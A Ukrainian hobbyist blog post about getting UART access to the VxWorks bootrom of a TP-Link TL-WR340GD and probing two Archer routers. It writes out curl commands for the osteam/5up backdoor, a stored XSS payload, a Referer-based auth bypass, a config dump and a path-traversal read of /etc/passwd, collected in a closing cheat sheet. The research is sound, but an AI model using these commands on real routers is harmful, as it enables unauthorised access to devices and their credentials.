Як я хакнув роутер замість прибирання, або UART за недільний день

Практичний досвід отримання доступу до bootrom через UART на TP-Link TL-WR340GD, бекдори на Archer C20 і telnet на весь будинок

Про автора і кому буде цікава ця стаття

Привіт, мене звати Олександр. Я електронщик-аматор та мамкин хакер, роблю різні саморобки і час від часу пишу про це на DOU та в свому блозі. Попередня статті теж містять практичний досвід, метод втика та створення чергово “велосипеда”, де я теж наступив на всі можливі граблі. Цього разу граблі, що правда як на мене – тежцікаві.

Ця стаття зайде тим, хто цікавиться embedded-системами, IoT, hardware hacking, або просто хоче зрозуміти що відбувається всередині звичайного домашнього роутера. Технічний рівень – середній: знадобиться паяльник, USB-TTL адаптер і базове розуміння Linux.

Неділя пішла не за планом

Сьогодні неділя, а це означає прибирання в кімнаті. Пил, і знов я залип, перебираючи коробки. Око сканувало хлам на предмет кандидатів у смітник, і ось на очі попався роутер — TP-Link TL-WR340GD, версія 3.1, 2010 року випуску. Чіп Atheros AR2317, 4MB flash, 16MB RAM – за сучасними мірками це навіть не мікрохвильовка, це термометр для мікрохвильовки.

Хм… гарний кандидат, але коробочка може згодитись для якогось проекту. Бігом за викруткою і розібрати. О, може бути донором феритове кільце, кварц, кондери… хоча навіть то все це сміття, йього хламу повно і так. Тільки кільце заберу, можна зробити підсилювач. Ну, може, роз’єм входу живлення ще випаяти це корисна штука. О, ще BR B772, є H1646DG — ізолювальний трансформатор для Ethernet (10/100 Base-T), гальванічна розв’язка до 1500В. І H2001DG, та мені навряд чи вони знадобляться. О, я ж хотів феном навчитись паяти, треба феном чи ні…

Думки швидко проносились, і СТОП , йопта, я ж типу мамкін хакер, embedded-панк, а що якщо його хакнути? Посміхаюсь та потираю руки бо схоже намічається, гарна пригода… Пилосос відклався на потім. Шалость почалась.

Знайомство з платою: AR2317 і загадковий J12

Плата виглядала солідно для свого віку, споглядання таких штук певний медитативний процес. Atheros AR2317 в центрі, це одночасно і процесор (MIPS 32-bit, 180MHz), і WiFi контролер. Поруч ESMT M12L64164A це 16MB SDRAM. Flash-чіп окремо — 4MB, куди влізає вся прошивка, ядро Linux і веб-інтерфейс. Як вони це робили – загадка часів.

Але найцікавіше це ряд із чотирьох незапаяних майданчиків біля мітки J12. Хм. UART?

Загуглив специфікацію — так, типовий UART header у TP-Link роутерів тих часів. Теоретично можна підключитись, побачити bootloader, отримати shell. Я вже бачив себе крутим хакером з голлівудського фільму — чорний термінал, зелені букви, “access granted”.

Реальність виявилась трохи іншою. Але про це далі.

Розпіновка J12 стандартна для TP-Link того покоління:

Pin 1 (від напису J12) → VCC 3.3V

Pin 2 → GND

Pin 3 → RX (роз’єм)

Pin 4 → TX (через дротик до паду AR2317)

VCC визначив мультиметром — стабільні 3.3V в спокої. GND — по continuity до корпусу. Два піни, що залишились, поки загадка.

Паяємо роз’єм: перший контакт з платою

Майданчики J12 порожні і пін-хедер треба впаяти самостійно. TP-Link залишив їх незапаяними в серійному виробництві бо нащо звичайному користувачу serial console.

Дістав паяльник, припій, і за кілька хвилин на платі красувався чорний 4-пінний header. Відмив флюс спиртом, виглядає майже професійно). Сфотографував для нащадків це фото плати з роз’ємом виглядає набагато солідніше ніж фото мого безладу на столі.

Підключення USB-TTL адаптера — важливий момент: тільки 3.3V! Якщо у вас адаптер на 5V — не підключайте, спалите чіп. На більшості сучасних адаптерів є перемикач або джампер. Перевірте двічі.

USB-TTL адаптер → J12 роутера

GND → Pin 2 (GND)

RX адаптера → Pin 3 або 4 (TX роутера)

TX адаптера → Pin 4 або 3 (RX роутера)

VCC → НЕ підключати!

brltty: несподіваний ворог

Підключив адаптер, відкрив термінал і спробував підключитись:

sudo screen /dev/ttyUSB0 115200

[screen is terminating]

Окей. Не так. Перевіряємо що відбувається:

sudo dmesg | tail -20

І ось воно, у виводі повторюється один і той самий патерн:

Як з’ясувалось brltty це демон для брайлівських дисплеїв для незрячих людей. Чудова програма з благородною метою. Але вона вирішила, що мій CH341 USB-TTL адаптер це саме те обладнання для якого вона існує, і радісно його захоплювала кожного разу при підключенні. Хто взагалі встановив brltty на мій комп’ютер, що то я таке робив? Мабуть якась залежність потягнула при встановленні чогось іншого.

Рішення просте: sudo apt remove brltty

Перепідключив адаптер фізично. Курсор замигав. Вже краще.

Де ж TX? Детективна історія з паяльником

Вмикаю роутер і тиша. Міняю TX/RX місцями все одно тиша. Міняю знову — тиша. Чотири рази поміняв місцями, перезавантажив роутер після кожної зміни — тиша. Спробував різні baudrate: 115200, 9600, 57600, 38400 і тиша на всіх.

Починаю думати. Беру мультиметр і починаю продзвонювати, виявляється, на цій моделі TX пін на J12 header фізично не підключений до чіпа, просто не розпаяна доріжка в серійному виробництві. Є майданчики, є роз’єм, але TX просто нікуди не веде.

Рішення: треба знайти тестовий пад TX безпосередньо на чіпі AR2317 або поруч з ним, і припаяти тонкий дротик до Pin 3 або Pin 4 на J12.

Перевертаю плату. Під AR2317, якщо уважно дивитись, є невеличкий ізольований майданчик може це і є той самий TX вихід. Розміром приблизно з цятку від маркера. Продзвонюю і так це воно, просто каплею припою зєднав і вийшло.

Вмикаю роутер і одразу…

Підбір baudrate: гра в вгадайку

Є сигнал! Але замість тексту — каша з символів:

����`�a��퀠1�!���5��5�����1����1i�1���%��1������q

 

Це означає що підключення є, але baudrate не той. Перебираю по черзі, щоразу перезавантажуючи роутер:

sudo screen /dev/ttyUSB0 115200 → каша

sudo screen /dev/ttyUSB0 9600 → каша

sudo screen /dev/ttyUSB0 57600 → каша

sudo screen /dev/ttyUSB0 38400 → …

На 38400 термінал ожив. І одразу сюрприз — це не U-Boot який я очікував побачити на Atheros роутері.

VxWorks замість U-Boot: сюрприз від 2010 року

Замість стандартного Linux bootloader з’явився зовсім інший bootrom:

AR2315 rev 0x00000090 startup…

Software Platform for ARM

Copyright(C) 2001-2004 by TP-LINK TECHNOLOGIES CO., LTD.

Creation date: Nov 2 2010, 16:46:17

Press CTRL-B to enter bootmenu…

Boot Menu:

1: Download application program

2: Modify Bootrom password

3: Exit the menu

4: Reboot

5: User commond line

Enter your choice(1-4):

“Software Platform for ARM” від TP-Link Technologies, 2001-2004. Це VxWorks — real-time операційна система від Wind River Systems, яку TP-Link використовував як основу для свого bootrom. Не Linux, не U-Boot — власна розробка на базі VxWorks RTOS.

Debug menu: три команди і одна таємниця

Жму 5 — “User command line”. З’являється запрошення:

Please Input debug cmd:

Вводжу help:

command description

——————————-

help print all commands

task print task stack

e exit

Три команди. Негусто. Але є ще одна — недокументована. Вводжу ?, і роутер… перезавантажується. Просто перезавантажується без попередження.

А якщо трохи нестандартно?


Ого! B відкрило якийсь debug режим — gEndPacketDebug2 open! 😄

Це недокументована команда!

😄 d показало статистику mbufs — мережеві буфери VxWorks! Це внутрішня діагностика мережевого стеку.

Продовжую перебирати літери і ось результат — повна карта прихованих команд bootrom меню:

  • n — netstat (мережеві з’єднання)
  • d — mbuf статистика
  • i — ifconfig (мережеві інтерфейси)
  • r — таблиця маршрутизації
  • s — socket статистика
  • p — дамп пам’яті
  • m — heap memory
  • k — список задач VxWorks (ps aux по-VxWorks)
  • g — IGMP групи
  • a — ARP таблиця
  • A — gEndPacketDebug1 open!
  • B — gEndPacketDebug2 open!

    Це міг би бути чудовий матеріал для статті, типу – прихований діагностичний інтерфейс VxWorks bootrom якого немає в жодній документації. Але знов в коментарях напишуть


Спроба зламати по-людськи: HTTP бекдори і CVE

Поки паяльник охолоджувався, я вирішив спробувати більш цивілізований шлях — може є якийсь HTTP бекдор і можна було обійтись без всього цього пірнання у плату? Загуглив відомі вразливості TP-Link WR340G.

Бекдор osteam/5up: перше розчарування

Знайшов згадки про відомий бекдор TP-Link — спеціальний аккаунт osteam з паролем 5up і секретний URL для доступу до командного рядка Linux прямо через веб:

curl -u osteam:5up "http://192.168.1.10/userRpmNatDebugRpm26525557/linux_cmdline.html"

Відповідь: 403 Forbidden — потім 501 Not Implemented. Пошукав детальніше і знайшов де польська спільнота безпеки підтвердила: WR340G та WR543G до цього бекдору не вразливі. Не та модель. Перше розчарування.

start_art.html: TFTP бекдор для заводського тестування

Наступна ціль в нас start_art.html, сторінка запуску ART (Atheros Radio Test) утиліти. На деяких моделях TP-Link вона запускала TFTP клієнт який тягнув файл nart.out з локальної мережі і виконував його з правами root. Звучить цікаво!

curl -u admin:admin “http://192.168.1.10/userRpm/start_art.html

Відповідь: 501 Not Implemented. Файлу в прошивці просто немає. Версія 4.7.11 Build 101102 — або ніколи не мала цієї сторінки, або TP-Link прибрав її ще до мого роутера. Друге розчарування.

Stored XSS: є, але марний

Exploit-db #34583 описує Stored XSS через параметр hostName в налаштуваннях WAN Dynamic IP. Спробував:

curl -u admin:admin “http://192.168.1.10/userRpm/WanDynamicIpCfgRpm.htm?hostName=<script>alert(1)</script>&mtu=1500&Save=Save”

І ось тут цікаво — payload справді зберігся в JS масиві відповіді. Але виконати його браузер не дав бо сучасні браузери блокують такі речі, та й сам payload потрапив в рядок масиву а не в виконуваний HTML. Тобто технічно вразливість є, практично для 2024 року це вже не загроза.

Висновок по WR340G: намагався зламати по-людськи, не вийшло. Паяльник виявився єдиним робочим інструментом. Дякую TP-Link за таку архітектурну рішення.

Bonus round: Archer C20 v4 — сусід по мережі

Поки возився з WR340G, під рукою виявився ще один роутер — Archer C20 v4, 2017 року, прошивка 0.9.1 Build 170315. Підключений як основний інтернет-роутер (192.168.1.1:8080). Ну і чому б не перевірити?

osteam/5up + Referer: несподівана реакція

На відміну від WR340G, тут з Archer C20 вийшло цікавіше:

curl -H “Referer: http://tplinkwifi.net” -u osteam:5up \

http://192.168.1.1:8080/userRpmNatDebugRpm26525557/linux_cmdline.html

→ 500 Internal Server Error

500, а не 404 і не 403! Це означає що сторінка існує, авторизація osteam/5up спрацювала, але сервер впав при спробі виконати команду. Бекдор є, але щось пішло не так — мабуть залежний процес не запущений або файл nart.out відсутній.

Всі варіанти — з параметрами cmd=ls, cmd=id, без параметрів, з різними URL — давали одне і те саме: 500. Бекдор є, але мертвий.

Telnet: зайшли з парадного входу

Перевірив відкриті порти:

 

 

 

 

 

 

 

 

Ось так просто. Шукав секретний бекдор з магічними заголовками і прихованими URL, а зайшов через звичайний telnet зі своїм паролем від адмінки. Класика жанру.

CLI дає доступ до конфігурації: wan, lan, wlctl, igmp, dev. Команда dev version повертає версію прошивки, dev serial show — серійний номер.

Telnet відкритий, але провайдер рятує

Перевірив чи telnet доступний ззовні через онлайн сервіс перевірки портів:

Port 23 is closed on [зовнішній IP]

Провайдер або NAT блокує порт 23 ззовні. Тому реального ризику для інтернету немає. Але якщо хтось підключиться до вашого WiFi то матиме повний CLI доступ до роутера. Висновок очевидний: змінюйте дефолтний пароль admin/admin.

Третій підопічний: Archer C64 RU v1.0

Виявилось що в шафі є ще один Archer C64 RU v1.0, прошивка 1.5.8 Build 210609. Резервний роутер, давно не використовувався. Подивимось що там.

Telnet не відповідає взагалі — порт закритий. Зате є luci інтерфейс:

curl -v “http://192.168.0.1/cgi-bin/luci

→ 403 Forbidden

Шлях існує. Спробував CVE-2024-57049 — обхід автентифікації через Referer заголовок на /cgi-bin/luci. Endpoint логіну відповідає з кодом 200, але повертає 00005 — невірний пароль. Пароль на цьому роутері змінений і вже не пам’ятаю який.

osteam/5up — 404, бекдора немає. Старий userRpm інтерфейс теж відсутній. C64 2021 року — вже інша архітектура, старі трюки не працюють.

Підсумок по C64: захищений краще за попередників. Telnet закритий, старих бекдорів немає, luci вимагає авторизацію. Прогрес за 10 років очевидний.

Підсумок: еволюція захисту TP-Link за 10 років

Підіб’ємо підсумок нашого ненавмисного порівняльного тесту трьох роутерів різних епох:

  • WR340G (2010) — VxWorks bootrom, UART з паяльником, бекдори відсутні або не спрацьовують, XSS не виконується в сучасних браузерах. Єдиний робочий спосіб отримати доступ — паяльник і UART.
  • Archer C20 v4 (2017) — telnet відкритий на LAN з тими самими кредами що і веб-інтерфейс, osteam/5up дає 500 (бекдор є але не працює). Реальна вразливість: дефолтний пароль + відкритий telnet.
  • Archer C64 (2021) — telnet закритий, старих бекдорів немає, сучасний luci інтерфейс. Найкращий захист з трьох.

Загальний висновок: TP-Link за 10 років суттєво покращив безпеку своїх пристроїв. Але найкращий захист — це все одно зміна дефолтного пароля і регулярне оновлення прошивки.

Пилосос так і стоїть в кутку. Кімната не прибрана. Зате тепер я знаю що всередині трьох роутерів. Ось такі пріоритети.

Технічний довідник для повторення

Що знадобиться

  • USB-TTL адаптер на 3.3V (CH340, CP2102, FT232 — будь-який, головне 3.3V)
  • Паяльник і припій (для впаювання header і дротика TX)
  • 4-пінний pin header 2.54mm
  • Тонкий дріт (0.1-0.2mm) для підключення TX паду
  • Linux з screen або minicom

Покрокова інструкція

# 1. Видалити brltty якщо є

sudo apt remove brltty

# 2. Перевірити що адаптер видно

dmesg | grep ttyUSB

# 3. Підключити: GND-GND, RX адаптера → TX роутера

# VCC не підключати!

# 4. Відкрити термінал з baudrate 38400

sudo screen /dev/ttyUSB0 38400

# 5. Увімкнути роутер і натиснути CTRL-B для входу в меню

Важливі нюанси

  • TX пін на J12 не підключений! Потрібно знайти тестовий пад на AR2317 і припаяти дротик
  • Baudrate оригінальної прошивки: 38400 (не стандартні 115200)
  • Це VxWorks bootrom, не U-Boot і не стандартний Linux
  • Для передачі прошивки (пункт 1 меню) потрібен minicom з підтримкою xmodem
  • Telnet на Archer C20 v4 відкритий на LAN — змінюйте пароль!

Корисні інструменти

binwalk — інструмент для аналізу та реверс-інжинірингу бінарних образів прошивок. Знаходить файлові системи, ядра Linux та інші дані всередині .bin файлів. Незамінний для дослідження IoT та роутерів.

sudo apt install binwalk binwalk firmware.bin

yougetsignal.com/tools/open-ports — онлайн перевірка відкритих портів ззовні. Корисно щоб перевірити чи доступний ваш роутер з інтернету.

Діагностика USB-TTL підключення

# Знайти порт sudo dmesg | grep ttyUSB ls /dev/ttyUSB* # Якщо minicom каже “Device is locked” sudo rm /var/lock/LCK..ttyUSB0 # Якщо порт зайнятий іншим процесом sudo fuser /dev/ttyUSB0 # показує PID sudo fuser -k /dev/ttyUSB0 # вбиває процес # Підключитись sudo minicom -b 38400 -D /dev/ttyUSB0

Приховані команди VxWorks bootrom (WR340G)

В головному меню bootrom (пункти 1-4) є недокументовані однобуквені команди. Вводяться замість цифри вибору пункту меню:

n — netstat (активні мережеві з’єднання) i — ifconfig (мережеві інтерфейси, IP, MAC) r — таблиця маршрутизації a — ARP таблиця d — mbuf статистика (мережеві буфери) s — socket статистика m — heap memory (вільна/зайнята пам’ять) k — список задач VxWorks (аналог ps aux) g — IGMP групи p — дамп пам’яті (hex dump) A — gEndPacketDebug1 open! (пакетний debug) B — gEndPacketDebug2 open! (пакетний debug)

Команда ? з debug menu (пункт 5) — перезавантаження без попередження. Всі інші літери (крім перелічених вище) не дають результату.

HTTP бекдори TP-Link — шпаргалка

# Бекдор osteam/5up (старі моделі) curl -u osteam:5up “http://192.168.1.1/userRpmNatDebugRpm26525557/linux_cmdline.html” # З Referer заголовком (CVE-2024-57049, Archer C20 новіші версії) curl -H “Referer: http://tplinkwifi.net” -u osteam:5up \ “http://192.168.1.1/userRpmNatDebugRpm26525557/linux_cmdline.html” # Telnet (Archer C20 v4, порт 23, LAN тільки) telnet 192.168.1.1 # Config dump без авторизації curl “http://192.168.1.1/userRpm/config.bin” -o config.bin # Path traversal спроба curl -H “Referer: http://tplinkwifi.net” -u osteam:5up \ “http://192.168.1.1/userRpm/../etc/passwd

Якщо у вас є старий роутер що пилиться в коробці — відкрийте його. Там може бути цікавіше ніж здається. А прибирання зачекає.

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *